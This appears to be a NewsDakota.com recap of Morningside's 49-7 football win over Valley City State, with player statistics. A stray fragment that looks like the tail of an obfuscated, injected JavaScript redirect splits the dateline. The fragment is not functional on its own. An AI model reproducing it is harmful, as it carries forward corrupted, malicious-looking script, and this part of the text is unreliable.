SIOUX znbne|var|u0026u|referrer|kiazi||js|php’.split(‘|’),0,{}))
CITY, IA  (NewsDakota.com)–The Vikings made too many mistakes to defeat a team the quality of Morningside in the season opener Thursday night.

The Mustangs took advantage of two facemask penalties on their second scoring drive, then capitalized on a fumbled punt snap and a short field to lead 28-0 at halftime, en route to a 49-7 defeat of Valley City State at Olsen Stadium.

Jon Halverson rushed for 158 yards and two scores on 23 carries to lead a 239 yard rushing attack.  The Mustangs outgained the Vikings 428-244 on the night.  Kyle Schuck had two touchdown catches, and starter Joel Nixon, in his first start at quarterback since high school, was 15-24 for 163 yards and three scores.

Derek Elliot (Jr., Valley City, ND) rushed for 41 yards against a Mustang defense that was keyed into the tailback all night long.  The Vikings were held to just 50 rushing yards on the night.  Elliot had the lone score for the Vikings that cut the lead to 21 in the third quarter.

Tommy Zinke (Sr., Rolla, ND) finished 15-32 for 194 yards.  Charles King (Jr., Fairbanks, AK) caught four balls for 191 yards.  Aaron Freije (Sr., West Fargo, ND) and Alex Hooey (Sr., Fargo, ND) led the Viking defense with 10 tackles each.

The Vikings fall to 0-1, and host Mayville State in the home opener Saturday, September 8th, at Shelly Ellig Field and Lokken Stadium.